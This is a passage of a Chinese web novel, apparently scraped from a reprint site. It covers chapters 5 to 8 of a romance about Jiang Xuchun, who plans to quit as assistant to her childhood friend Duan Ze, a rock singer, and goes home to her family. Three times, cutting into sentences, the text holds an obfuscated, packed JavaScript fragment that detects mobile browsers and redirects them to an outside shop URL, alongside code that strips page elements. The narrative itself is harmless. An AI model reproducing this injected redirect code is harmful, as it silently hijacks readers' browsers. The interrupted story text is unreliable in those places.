看他红通通的眼睛,红通通的脸颊和嘴唇,一半是哭出来的,一半是被揍出来的。 怎么这么狼狈还这么好看呢,真漂亮,像个洋娃娃。 如果知道后面的故事,她一定不会放任自己说出这句话:“你好漂亮呀,你是白天鹅吗?” 故事里除了白天鹅,剩下的就是:“那你是丑小鸭吗?” 丑小鸭不一定变成白天鹅,但白天鹅永远是白天鹅。 五岁就知道保持形象的小男孩,长大后更是不得了。 他走路的背脊永远笔挺,步伐深得他妈的真传,天生是个衣架子,不搞音乐也能继承模特衣钵。 一个暑假过去,周围同学都晒成了黑炭,就他从小兢兢业业防晒白得反光,夏天出门还不忘架副墨镜。 男生们一边腹诽他真装,一边不得不承认,同样的墨镜戴在他们脸上,只会显得滑稽至极。 日行一善帮人捡个篮球,不老老实实还人手上,而是离老远投了个三分;教室电脑出问题,学校师傅都没修好,他上去点了几下,一切恢复如初;校晚会有表演人员突然病倒,未经排练的他临时上场顶替,完美演出赢得满堂喝彩。 还有什么军训射击随便一射就是十环,横跨大半个教室扔垃圾永远精准命中垃圾桶……一系列让他顺手一装的事,不一而足。 没能考上顶尖大学,大概是他的人生中比较不bking的事了。 不过段则也没就此气馁,他一直计划着赚到足够的钱以后,花一两年时间出国镀个金。 可惜对于这个计划,他要么有时间没钱,要么有钱没时间,倒是必备的英语水平,在这些年练了个七七八八。 前年,他在某次偶遇外国歌迷时,用一口流利又纯正的英语与对方对话,被同行歌迷拍下发上网,引起了圈外一波小小的关注。 歌迷们都默契没说的是,与他对话的是个俄罗斯人,对方的母语并不是英语,因而不管是用词还是语速,都非常友好。 江绪春常常觉得,他就是纯粹走了狗屎运。 可如果一个人一直走运的话,这件事确实也蛮值得装一下。 只是五岁没能解答的问题,没想到二十七岁时仍是个迷—— 为什么在她面前,段则就一点儿都不装了? 5. 第 5 章 门铃响起的时候,江绪春在看考公指导视频。 当年填报志愿时,这个专业的风评其实还不赖。亲戚们纷纷推荐她报这个,说尤其适合女孩子,以后无论是考公还是考编,都是极好的。 江绪春从小语文成绩不错,在众人怂恿下,稀里糊涂就上了船。 但她心里清楚,自己其实是个极其矛盾的人。 表面顺从听话,大学四年勤勤恳恳,眼看就要走上父母安排的安稳道路了,却又在毕业之际,毫不犹豫地答应和段则一起冒险。 有时候她想,如果不是段则,就算是别人向她抛出了橄榄枝,年轻气盛的她,可能也会果断接下。 一开始,江绪春甚至不敢和父母说这件事,只说有在准备教招。 只是谎言终有拆穿之日,磕磕绊绊瞒了一年多,趁着陆鲨初有起色,去了个小有名气的音乐节凑数,她干脆一举向父母坦白了。 父母在电话那头沉默良久,最后他们说,他们要和段则聊一聊,就把电话挂了。 两人到底认识十几年,和对方家长也都相熟,家长常常联系不到一个,就会给另一个打电话。 也不知道段则和他们聊了什么,总之后来,父母对这事说不上赞扬,但起码不会反对了。 再到陆鲨声名鹊起,逢年过节江绪春大把大把给父母转钱,再提起她的职业,老两口那可是赞不绝口,好像当明星的是她似的。 只是,不听老人言,吃亏可能不在眼前,而是以后。 他们当初的眼光很准,也许她就是更适合朝九晚五的工作,更适合普通人的稳定生活。 如果南墙是一定要撞的,现在是时候回头了。 江绪春按下暂停键,起身上前打开可视门铃,外面站着的是段则。 段则家的智能锁录入了她的指纹,而她家的没有段则的。 这么大的差别,好像谁都没对此提出过异议,默契地一直保持这个状态。 不过门一开,段则便自在得好像回家一样。他娴熟地从鞋柜上翻出自己的拖鞋换上,先她一步走进客厅,看了眼茶几上放着的iPad: “你打算考公?” 江绪春“嗯”了一声。 段则回头审视她一眼:“我是不是打扰你了?” “是。” “哦,那我也不走。” 都是奔三的人了,能不能沉稳点儿。 江绪春没搭理他,在刚刚的位置落座:“有事吗?” 段则晃了下手机:“我给‘眠艇’写的歌出来了,要不要听一下。” 眠艇是某位早年间在网络走红的歌手,如今已大大小小开过不少场livehouse。 当初陆鲨还在初期时,段则为了赚钱,也试过给人写歌,眠艇是第一个接受他的投稿的人。 那首歌后来在网上小火了一把,算是两边的双赢。此后,段则又陆陆续续给不少人写过歌,出过好几首爆曲,为了感谢眠艇的知遇之恩,每首歌都是眠艇拒绝后,他才考虑投给其他人。 段则写给眠艇的那首歌刚走红时,陆鲨还处于一个开个迷你livehouse都要求爷爷告奶奶的程度。 这波热度没有给陆鲨带来任何助力,因为他署的是化名“容舟”。江绪春有问过他为什么不用真名,或者暗示一下两者间的关系,他拒绝了,说是想做一个实验。 神神叨叨的,江绪春就没追问下去。 眠艇并不是什么创作型歌手,他这张新专,有一半都是段则化名写的。 难得在巡演这么忙碌的期间,还能给人家写这么多歌,江绪春有时候真的很佩服他的高精力。 她顺手接过段则的手机,连上家里的蓝牙音响,点开了第一首。 和段则略带磁性的声音不同,眠艇年逾三十,声音仍旧像少年一般清透。 因而,段则给他写的歌也都是些很轻盈的风格。明明已近冬日,江绪春却像是回到了夏天的第一口棒冰,听见檐下被吹动的风铃,细雨后的草坪波光粼粼。 江绪春窝在沙发上,认真听完了段则写的三首歌。 最后一首放完,她按下暂停键:“好听。” 段则接过手机:“没了?” “你知道的,我不太会说乐评。”江绪春揪着身侧的抱枕,“和陆鲨的风格不一样,但都很有你自己的味道,眠艇演绎得也很好。” 段则认认真真听到最后,“嗯”了一声,显然有点失望。 江绪春回忆了一下,他上次让她听自己给眠艇写的歌,还是在前年。 新专尚未释出,她是第一批听到音源的人,听完后她郑重其事鼓了十秒钟掌,夸他是个天才,用拙劣的小学生文笔,洋洋洒洒描绘了对每首歌的感受,说得段则乐到不行。 只是以他们现在的境况,她当然再做不出那些反应。 段则沉默少顷,伸手双击iPad屏幕,视频开始播放:“你继续看吧,我不打扰你了。” 那你呢,你什么时候离开? 江绪春很想这么问他,但最终只是应了句“哦”,当真专心致志看了起来。 当然,所谓专心只是表面的。 她眼睛正对着屏幕,余光却努力捕捉身侧那个身影。 他到底要坐多久,真的只是来让她听歌的吗,虽然平时也没少在她家闲坐,但现在情况特殊,她得随时做好准备接招。 招没接到,腿上先接到一个毛茸茸的脑袋。 段则身子一歪,直接躺她腿上了。 江绪春时常怀疑,他是不是把自己当成一只人肉枕头了。 在镜头拍不到的地方,他娴熟地枕她肩上,枕她腿上,枕她肚子上,枕她背上,依据她不同的状态,灵活调整自己的脑袋安置点。 更要命的是,江绪春也习惯了自己身上不时便会压来一份重量。 她微微垂眼,看向腿上的小卷毛,忍不住抬手轻轻拨弄他的短发。 她让他枕,他也得让她摸,礼尚往来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202900|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 虽然段则自己很不满意这一头自来卷,但江绪春还是挺喜欢的。摸起来不像直发那么顺滑,但很蓬松,五指插入发中,感受着它自四面八方缠绕而来,纠缠不休。 不管是卷毛小羊羔还是卷毛小猫,都是非常可爱的。 可是段则天然长了一张冷脸,于是这头卷发,更像是他试图软化自己的一种伪装。 实践证明,还是挺成功的。 她好像一不小心手重了些,段则倒吸一口凉气,反手按住她乱动的手。 江绪春也没惯着他,抓着他的手腕扔一边去,继续胡乱拨弄着他的头发。 “你学习能专心点么?”段则问。 “我手里得摸点什么才能专心。” “哪有这样的。” “你少管。” “你摸的是我。” “那你走,我就不摸你了。” 段则一伸胳膊,将iPad倒扣:“别学了。” “你不是说好不打扰我的吗?” “反悔了。” 说完,段则撑着沙发,从她腿上坐起,抬手理了理被她弄乱的头毛。可惜本来就是乱的,再怎么拨弄也还是很乱。 于是顶着这么一头乱发的他,脸上的无奈和些许不满,都变得只剩可爱。 “你到底什么时候走?”江绪春问他。 “我待会儿都不行吗。” “你还有什么事吗?” 段则皱了下眉:“你之前不是这样的。” “我之前哪样?” “不好说……”段则歪着脑袋打量了她一会儿,“小鸭,我哪里得罪你了吗?” 江绪春倒真希望他做错什么事,狠狠得罪她一下。 要命的就是他什么都没做错,出问题的是她。 “你不让我摸你头发。”江绪春开始鬼扯。 “借口。” “你不让我辞职。” 段则想了一会儿,重新躺回她腿上,主动抓了她的一只手放上来: “那你还是继续摸我头发吧。” 可这会儿江绪春却有些心不在焉,手里有一下没一下拨弄着,轻声问:“你为什么不同意我辞职呢?” “你自己连一个合适的理由和退路都没想好,还问我?” “这只是我个人的事,你作为老板,阻止员工辞职也得有理由吧?” “所以你觉得我只是老板?” “至少在这件事上,嗯。” “那可能是因为不管在哪件事上,我都优先把你当朋友而不是员工吧。” 江绪春的心跳顿了一拍。 “我找到理由了。”她说。 “什么?” “因为你公私不分。” 她能感觉到腿上的人瞬间静了下来。 蓬松的头发遮住了他的眉眼,仅余耳钉在碎发间闪得要命,随着他稍重一声呼吸,带动着晃了下她的眼。 “我同意你的辞职申请。”他说。 6. 第 6 章 明明之前还在想要怎么和他周旋过这三个月。 结果一切过分顺利,反倒让江绪春无所适从。 她觉得自己应该开心的,但却没有,只剩铺天盖地的茫然,和隐隐的不安。 段则:“不过。” 奇怪,这句谈判中最让人忐忑的转折词,却教江绪春的心稍稍放下了一点。 “怎么了?”她应道。 “三个月的离职期限不变。这三个月,我不把你当员工,你也别把我当老板,我们就按朋友相处。这期间你想干什么干什么,备考、旅游……都行。反正你转行也需要时间准备,工资照发,给你两倍,不,三倍吧,毕竟这三个月没活动,也没分成了。” 带薪全职备考,没有比这更好的待遇了。 还好他签了公司,不然若是他自己当老板,说不好因着人情亏掉多少钱。 半天没等到回应,段则转了个身,换作仰躺在她腿上,昂着个脑袋看她:“还不满意?那把我这三个月的版税也归你行不行?” 江绪春:“我没有不满意,我只是在想一个问题。” “什么?” “你为什么一定要这三个月的时间呢?” 直接让她走人多好,反正是她主动提的,他一分也不用多出。 至于工作交接问题,几天就能搞定。 段则垂下眼,看着好像在她腿上睡着了,连说话的声音也变得又轻又黏糊,像是梦话。 “以后不管你考上公务员,还是别的工作,我们可能一年都见不上几面了。二十多年的朋友了,想和你多待上三个月,这点情分都不给?太冷血了吧小鸭。” 哦,是的,他的工作天然是安稳的另一个极端。 以后别说见面次数锐减,随着两人的生活轨迹渐远,或许感情会和共同话题同步减少。小时候许愿要做一辈子的朋友,也许这个坎迈不过去,就要中道崩殂了。 江绪春摸摸他的脸,语气里没了之前的戒备和对立:“你早说清楚嘛。” “说清楚?没骂你就不错了。”她一软,段则倒突然来了火气,“我昨晚累得要死,你上来一声招呼不打就说要辞职,我那时候脑子都是木的你明白吗?一晚没睡好,一觉醒来你又跟背后灵似的出现了,不用开口就知道你要说什么鬼话,让我早饭都没吃好。 “反正我看明白了,这事儿不解决,你跟我就没别的话好说,朋友都做不成,那我还有什么办法?要我说,还是怪陆鲨不够正规,要是那种大公司,OA流程都得走好几天。” 说到最后,段则连她的大腿也不想枕了,撑着沙发起身,脸臭得要命。 一转头,江绪春居然搁那笑了,好像骂的不是她。 段则抹了把乱七八糟的头发,在心底暗骂了一句。 “我错了。”江绪春说。 就是这语气毫无悔过之意。 “对,甭想我原谅你。”段则说,“反正下个助理,我一定得把规矩给他立清楚,一切按规程办事。” “嗯嗯。”江绪春点头如捣蒜。 “你是轻松了。”段则狠狠揪了她的脸,“我回头还得想好怎么和那三个人还有公司说。你公司申请迟会儿交吧,我先和公司打声招呼。” 江绪春吃痛地叫了一声,末了继续乖乖点头。 之前还拧着一根筋的犟种,这会儿突然无比顺从,段则跟和棉花打拳击赛似的,被迫消了火。 “所以你今天非要学习?”他问。 “不学了。”江绪春说,“你想干什么?” “不知道,有点无聊,要不上街逛逛?” “好啊。” “行。”段则帮她把iPad重新立好,“那你再看会儿,我去夹头发。” 江绪春看向他往卫生间走的背影:“喂,我真的觉得你卷发也挺好看的。” 段则头也没回:“我信不过你的品味。” 也不知段则是不是懒,直接在她家也放了个直板夹,哪怕她根本用不上。 江绪春哪还看得下视频,起身走到卫生间,好奇地倚在门口,看他一缕缕拉直自己的头发。 段则倒也习惯了,毫无反应,继续自顾自动作着。 他动作很麻利,一头卷毛很快变得光泽顺滑,江绪春居然还有那么点儿遗憾。 头发一拉直,长度自然也变长了,约莫是能在发尾扎个小揪的程度。他烦躁地拨弄了会儿发型,怎么都不满意,最后向她一伸手:“你那个之前只戴过一次的贝雷帽呢?” 江绪春在衣柜里翻找了一会儿,总算在角落找到那顶贝雷帽。 这是顶有檐的贝雷帽,帽子一戴,完美遮住了额前碎发,视觉重心下移,颊侧的发被拨到耳后,袒出一张干净明晰的脸。 “我收拾好了。”段则自觉地让开一步,“你要化妆吗?” “不用了。” 如果化了妆还没他素着脸好看,那就太让人恼火了。 段则:“那衣服呢?” 她穿的还是上午陪他接小狗的一身,非常朴素的卫衣仔裤。 江绪春低头拎了拎身上的卫衣:“不行吗?” 反正怎么穿都潮不过他啦。 段则别开眼,欲言又止,末了道:“算了,习惯了。” 在模特母亲的耳濡目染之下,段则从小就非常潮,再到后来开始搞摇滚,那更是潮到没边。 这种人江绪春在路上看到都会绕路,偏偏他是她最好的朋友,绕也绕不开。 每次歌迷来看他们演出时,不少人都会自发践行一个dresscode,说白了就是和段则搭成同一风格。 江绪春私下有悄悄研究尝试过,买了一箩筐七零八碎的饰品,还有一堆上衣不像上衣,裤子不像裤子,裙子也裁剪得莫名其妙的衣服。刚刚借出的贝雷帽,就是那次疯狂购物的成果之一。 一番精心搭配后,她站在镜前对着自己看了三秒,最后默默全换掉了。 不过偶尔她也会想,好像还是穿得潮一点,和段则站在一起会比较搭。 可是他们只是朋友,又不是情侣,不搭又怎么样呢。 江绪春就这样非常不搭地和他出了门。 泓州是座北方二线城市,早些年发展还行,近年愈发迟缓,天然带着北方城市的厚重感。 段则选择在这里发展,主要是四年大学上出了感情,也在此结识了不少玩音乐的好友,而且,他很喜欢早年间的北方摇滚。 话虽如此,段则和江绪春都是南方人,他写的歌里,满是南北方的碰撞和融合,这也算是陆鲨的一种特色。 玩摇滚,泓州是个好地儿,但倘若想玩点别的,那就不尽人意了。 什么密室、桌游,段则玩了几次就失去了兴趣,他没什么酒瘾,刚结束巡演暂时不想听人唱歌,至于逛街,这里的衣服土得好像来自上个世纪,拿去搭复古风又不够格—— 这当然只是段则的一面之词,江绪春还是很喜欢在本地买衣服的。 和以往每次一样,两人在街上兜了一圈,没找着可玩的地儿,便就近寻了个停车场,下车开始压马路。 泓州刚入秋,白天秋老虎尚且凶猛,这会儿日薄西山,风一吹,终于有几分凉爽。 这是泓州最好的季节,树仍是绿的,空气还算湿润,一切都很宜人。 段则一路没看导航,哪儿灯绿就往哪拐,眼下两人也不知道来到了哪里。 “逛会儿?”段则说,“看哪家餐厅顺眼,就去哪家吃晚饭。” “好。” 在日常方面,段则追求规整有序。但在其他方面,他又很喜欢自由和随机。 他的好多创作灵感,也是在这种时刻冒出来的。 迎面走来一老大爷,手里牵着一只大白鹅,鹅拍着一双脚蹼在前面“啪啪”走,大爷悠哉游哉地跟在后面。 “哟,这鹅真漂亮。”擦肩而过时,段则 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202901|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搭讪道。 大爷笑着看向他:“可不嘛!晚上上我家吃饭不,分你只鹅腿。” 段则回头看了眼江绪春,吓得她直摇头—— 她知道段则真做得出这种事。 “不凑巧,刚吃过。”段则再度看向大爷,“您住哪儿啊,下次我带两瓶酒找您搓一顿。” “就那儿。” 大爷随手一指,段则也就那么随意一看,两人打个哈哈,继续各奔东西。 “真可惜。”大爷走远后,段则说,“我还以为那是他养的宠物呢。” “你刚刚不会真打算上人家吃饭吧?”江绪春仍心有余悸。 “怎么,怕别人下毒啊?放心,我替你尝第一口。” “……” 江绪春再度感慨,要不是打小相识,她绝不会和段则这种人做朋友的。 走着走着,路边出现一家还挺有格调的葡餐馆。江绪春之前有在社媒上刷过,收藏后一直没空去吃,今儿倒是误打误撞了。 没待她开口,段则一扬下巴:“走?” “好。” 江绪春对葡餐最大的了解,便是英国人在澳门改良的葡挞。而潮人如段则,知识领域也暂时没涉猎到这处。 老板是地道葡萄牙人,菜单上连个图都没有,中文还是机翻。两人头抵头钻研半天,仍旧一头雾水。 最后段则当机立断,一合菜单:“这样吧,1到156,你随机报几个数。” 每道菜前面,都有一个序号,一共156道菜。 江绪春:“哪有人这么点餐的。” “那你说说‘马介休’是什么?” 江绪春沉默几秒,好像也是,反正看菜单也看不懂。 虽然标了156,不过,95向后都是甜品和酒水饮料,她扒着手指,报了四个95以内的数字。 她说一个,段则在点餐单上写一个,最后当真这么递过去了。 江绪春心下忐忑,想打开菜单看看自己点了些什么,偏偏段则动作更快一步,一把抽走了菜单。 “上来不就知道了,反正也改不了了。” “万一很难吃怎么办……” “难吃也得吃。” 等高考成绩时的心情,无异于此刻。 偏偏这家店上菜很慢,半小时才端上第一道。 是盘海鲜烩饭,也算是经典葡餐了。 两人各自挖了一勺,鲜香油润,粒粒分明,还有些陌生但不难吃的香料味。 开局不错,江绪春松了一口气。 只是等到第二道菜上来时,她的神情又绷紧了些许—— 那是道焗鸭饭。 两个人吃两道主食,其实也还好吧…… 而且配菜也不一样呢…… 江绪春这么在心底自我安慰着,一抬眼,段则刚放下勺子,冲她点点头:“味道不错。” 目前为止都还好,直到第三道咖喱鸡饭上桌。 看着桌上满当当三大盘米饭,江绪春已然无语凝噎。 葡萄牙人还真是爱吃米饭啊。 她一点点抬眼看向段则,越想越荒唐,没忍住笑了出来。 略显晃动的视野里,段则也在陪着她笑。天生冷脸的人,却有双笑起来月牙弯弯的眼睛,给人一种充满温柔和包容的错觉,和台上展现出的冷漠张狂截然不同。 “快吃吧。”段则拿起突然有些沉重的勺子,“米饭狂人。” “下次还这么点菜吗?” “点,就这么点,上什么吃什么。” 江绪春垂下眼,用笑到发抖的手尝试去拿勺子。 她的脑中忽而晃过一个念头,三个月后,她就要回到循规蹈矩的人生轨道里了。 再没有人会陪她来到一个随机的地方,进到一家随机的店,点一桌随机的菜。 可是,不是她首先选择的安稳吗? 为什么现在,又突然笑不出来了? 7. 第 7 章 江绪春是那种决定要干一件事,就会努力去干好的人。 打算考公后,她便给自己制定了一套学习计划,又买了一堆书和纸笔—— 多少年没静下心来学习了,无纸化流行的当下,她还是更习惯笔尖划过书页的触感。 这些天,段则几乎每天都会来烦她一趟。 当然,每次没过多久,不是灰溜溜被赶走,就是自己觉着无聊,主动离开了。 他在身边的时候,确实很影响学习效率。 但每当他离开,忽地变得静悄悄的屋内,又让她平生落寞。 江绪春有点学不下去了,心不在焉地划动着手机,母亲的视频通话忽而弹出。 视频甫一接通,母亲刘蓉的脸看着颇为惊讶:“诶呀,小春,妈妈不小心点错了,你怎么接了,没打扰你工作吧?” 看着对面张皇的样子,江绪春有些鼻酸。 知道她工作忙,时间还不固定,每次母亲都是和她约好时间,或是她主动,才能打上一通电话。 “没有,妈,巡演刚结束,我最近放假。”江绪春说。 刘蓉的神情霎时放松下来:“那就好,巡演是不是很辛苦,好好休息休息。我看泓州最近降温了,你记得多穿点。” “嗯,你也是,保重好自己,别生病。” 彼此寒暄了一阵,画外音突然传来父亲的声音,似乎是让母亲去做什么,母亲循声转头,画面也由此转动。 江绪春在这头耐心等待着,突然觉得有什么不对。 “那你好好休息,妈先去忙了。” 刘蓉说着就要挂断电话,江绪春忙叫住她:“等下,妈。” “怎么了?” “你把镜头往右转一下……不不不,应该是你的左边。” 转动的画面停滞了一刻,刘蓉忽而意识到什么,将镜头朝脸凑近了些,背景画面也随之被遮掩。 但已经迟了,江绪春严肃道:“床旁的轮椅是怎么回事?” 在江绪春的不断追问下,刘蓉才终于承认实情。 说是她爹江志远前段时间,和一帮朋友约着去山里的水库钓鱼,刚下过雨的野路湿滑,她爹脚下一不留神,整个人摔出了十多米,断了两根骨头。 “都是两个多月前的事了,你爸现在已经能拄拐走路了,这轮椅我正打算过几天卖了呢。” 刘蓉试图用笑容缓解尴尬,可惜江绪春一点笑不出来。 “事情都发生这么久了,你怎么从来不告诉我?” “这不是怕你担心嘛,而且确实也不是什么大事,你爸都快好了。” 父母怕她担心,所以向她瞒着父亲受伤的事。 而她也怕他们担心,无论是平日有个伤病,还是这次计划辞职,都没有告诉他们。 彼此关心着对方,却又以爱之名隐瞒着对方。 电话挂断后,江绪春越想鼻子越酸。 她躺倒在沙发上一个人掉眼泪,哭一半,她当机立断抹掉眼泪,打开手机买了张明天回家的机票。 因为忙,连中秋都没能团聚,上次见面还是过年的时候了。 江绪春连夜收拾好行李,翌日推着行李箱出门时,望着不远处紧闭的大门,觉得还是得和段则说一声。 她走上前,按响了门铃。 虽然门锁里保存了她的指纹,但当他在家时,江绪春还是会礼貌地先按一下门铃。 约莫过了一分多钟,段则才姗姗来迟将门打开。 他看起来显然刚起床,顶着一头乱蓬蓬的小卷毛,神情里带着没睡醒的木讷和呆滞,茫然地看着她。 “我打算回老家一趟。”江绪春开门见山。 “什么时候?” “现在。” “哦。”段则脑子还是懵的,但手已经机械地抓起玄关柜上的车钥匙,“那我送你去机场。” “不用了,我坐地铁去就好。” 段则握着车钥匙的手渐渐垂下,神志好像也随之一点点恢复清明。 他哭笑不得:“你怎么不到机场了再通知我?” “那我下次落地了通知你。” 段则冷着一张脸,好像不想和她进行一番俏皮话接龙。他的目光渐次下滑,看见她只带了一个小小的登机箱,神情稍稍缓和了些。 “你打算什么时候回来?”他问。 “没想好。” “行,落地了记得通知我。” 江绪春推着行李箱前去等电梯,可惜电梯就在走廊正中央,余光里,她看见段则仍站在门口。 被注视久了,她忍不住回望他,段则也没躲,彼此就隔着这么几米的距离,长久地凝望着。 直到“叮”一声,电梯门缓缓打开。 眼前的画面变作了电梯的冷色金属墙壁,但段则的那双眼仍牢牢刻在她的视网膜上。 值机、候机,近两小时的飞行,脑海中的画面始终定格在她和段则在走廊对望的那刻。 直到下了飞机,在接机处看到微笑着的母亲,一切才开始刷新,不断向前。 母女俩来了个深深的拥抱,登机箱就那么点儿大,刘蓉说什么都得帮她推。 “爸呢?”寒暄过后,江绪春关心地问道。 “在车上等着呢,一开始还说要拄拐来接你,被我使劲拦住了。” “拦得好。”江绪春向她竖了个拇指。 下到地下停车场,没走几步,远远便能看见江志远将手伸出车窗,挥手向她们打招呼。 江绪春小跑上前,迫不及待打开后车门,目光关切地上下扫视着。 江志远一条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202902|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腿打着石膏,但整个人精气神不错,甚至因为长期在家休养,还圆润了一圈,皱纹都撑淡几根。 江绪春这才放下心来:“爸,下次你和妈不管有什么事,一定要告诉我。” “欸哟,我们家闺女这双火眼金睛,谁能瞒得住你哦。” SUV在回家路上疾驰着,兴榕市是一座南方小城,在滚滚前行的时代洪流里显然落了伍,周围的景致十年如一日,眼前看到的,和当年上大学每次回家看到的景象无异。 就连她的卧室,也和毕业预备搬出去时没什么区别。无非是窗台上多了几盆母亲养的多肉,角落堆了几箱父亲留着送人的酒,墙上已经泛黄的明星海报,都还好端端贴着。 前年托陆鲨的福,江绪春有幸在后台见过那位明星一眼。不过她一早不追星了,那一刻两人擦肩而过时,她长久地注视着他,眼里却满是自己逝去的青葱岁月。 将行李放好后,江绪春才想起自己好像忘了什么事—— 段则嘱托她落地就通知他,结果现在她都到家了。 摸出手机一看,段则半小时前就问了她一句“落地了吗”。 那会儿她在车上和父母聊得正欢,根本没想着看手机。 [江绪春:我到家了。] 顶上即刻现出一行“对方正在输入……”。 只是段则似乎打了删,删了又打,过了好半天,才回了五个字给她。 [段则:好,玩得开心。] 江绪春的拇指悬在输入框上,想了半天还是没再回复,将手机丢回口袋。 得知她要回来,母亲一早备了一厨房的菜,这会儿稍微烹炒一番就能上桌。 江绪春被父亲拉着在沙发上聊闲天,母亲忽而从厨房探出头来:“小春,你帮妈去超市买瓶酱油,还有瓶香油,妈这边走不开。” “哦,好。”江绪春随手拿起茶几下的布袋就往外走。 “再买点你喜欢吃的零食饮料,回来妈报销。”刘蓉冲着她的背影喊。 一切好像都没变,不管是7岁、17岁,还是现在已经27岁了,在母亲眼里,她永远是那个爱吃零食的小姑娘。 家附近就有一家大型连锁超市,这里也同别处一样停滞了时间,连商品的陈设都没怎么变。 江绪春轻车熟路地买好家里常用的酱油和香油,预备离开时,想到母亲的话,决定再多逛一会儿。 不过,她不打算给自己买,而是想给父母买点。 江绪春循着记忆,一路拐进放坚果的货架,没两步,下意识停住了脚步。 货架另一头,站着一个身形高挑的女人,此刻正拿着一罐坚果,专注地看着上面的配料表。 隔着一整排货架,江绪春也一眼认出了她—— 那是段则的母亲,段咏竹。 8. 第 8 章 虽然段咏竹已阔别模特行业多年,但气质这种东西,是可以伴随人一生的。 年逾半百,她的身材仍保持得很好,薄薄一片背挺得笔直。在这个流行一条裤管能塞下整个人的年代,她仍穿着复古的修身牛仔长裤,上搭羊绒薄衫,看起来玲珑有致。 一米七八的女人,别说在南方,在北方也不算多见。她比货架还要高些,微微低着头,盘发下袒着修长雪白的后颈。 段则和她几乎是一个模子里刻出来的,侧脸的走势颇为相似,唯有一双深邃的眼眶,大概是来自他的父亲。只是江绪春从未见过他,自然也无从考证。 似是察觉到她的注视,段咏竹放低坚果回眸,目光在对上她后迟疑两秒,展露出一个得体的笑。 “段阿姨。”作为小辈,江绪春忙主动开口。 “小春,好久不见,怎么突然回来了?” 彼此相对而行,一道在货架中段站定。 “回来看看父母。”江绪春道。 “这样。”段咏竹的目光下意识向她背后飘去,“段则没有和你一起吗?” “他刚结束巡演,在休息。” “也是,这么多场巡演,该累坏了。” 段咏竹目光柔和,但之中仍有一丝难掩的失望。 彼此又简单寒暄了几句,惦念着母亲锅里还煮着菜,江绪春匆匆告了别。 回家路上,她忍不住给段则发了条消息。 [江绪春:我见到阿姨了。] 他似乎不算忙,回得很快。 [段则:她看起来怎么样?] [江绪春:挺好的。] [江绪春:话说,你不打算回来看望她吗?] [段则:她让你说的?] [江绪春:没有。] 那头沉默了几分钟。 [段则:我知道了。] 两人自幼相识,和彼此的父母自然也很熟稔。 段咏竹待她很好,不时会给她捎小礼物,还总是夸她可爱,尤其是她小时候,每次见面都要抱抱她摸摸她。 相较于她,段则和段咏竹的关系反而更客套些。 彼此说话客客气气,连句玩笑也不开,更不会像她一样总和母亲撒娇。 也许母女和母子的相处方式就是不太一样的,江绪春想。 回到家,果然一厨房的菜就等着她的调料。 刘蓉嘴上嗔怪她几句,见她特地给老两口买了点零食,眼都笑弯了:“诶哟,不是让你给自己买嘛,爸爸妈妈自个儿会买。” “我也自己会买呀。”江绪春抱了她一下,“辛苦啦妈,我好饿哦。” “知道了知道了,马上开饭!” 小时候习以为常的家常菜,在外漂泊久了后,才觉得每一口都是那么珍贵。 碗里的菜被爸妈堆成了小山,老两口跟较劲似的,你夹一块排骨过去,他就得补上一只鸡腿。 江绪春狼吞虎咽着,只觉得好幸福。 不过这种幸福,只持续了回家的前两天。 第三天,饭菜还是很好吃,但桌上的话题就没那么和谐了。 小城市很在乎年龄,什么年纪就得做什么事,上学、工作、结婚、生子,但凡脱节一环,那都是天大的问题。 江绪春就卡在这个结婚生子的末班车,再不抓紧就得挨人数落了,在外人数落前,父母当然得预先演练一番。 一番老生常谈的话后,江绪春拿着筷子的手一顿,抬起头来:“那就见一面吧。” “真的?”刘蓉一番劝解的话正卡在嘴边,没来得及出口,被她这大转变的态度给生生都噎了回去。 “嗯,总拒绝人家也不好嘛。”江绪春漫不经心应道。 为什么要拒绝呢? 她对结婚生子这事儿没那么排斥,从前拒绝,那是因为她工作忙,父母给她介绍的人多是老家的,她不想那么早回去。 而现在,她都打算离职回老家寻一份安稳了,找一个合适的对象,自然也是安稳的一部分。 母亲做事向来风风火火,在这事儿上也不例外。 第二天下午,她已经和那人在咖啡厅面对面而坐了。 男人相貌平平,勉强算得上一句耐看,工作倒还不赖,一家三代都是电网里的,福利待遇好得很。 对于即将成为无业游民的江绪春来说,这绝对是她高攀人家了。 “我听阿姨说,你是明星经纪人?”男人介绍完自己了不起的电网世家后,笑问道。 她都快离职了,母亲还没搞清楚她的工作。 江绪春无奈地解释道:“不是经纪人,是助理,也不是你想的那种电视明星,是一个摇滚乐队。” “摇滚我喜欢啊。‘原谅我这一生不羁放纵爱自由’……” 男人说着说着就唱起来了,留江绪春坐在对面目瞪口呆。 唱一半,男人尴尬地抓抓头发:“Beyond你听过的吧?” 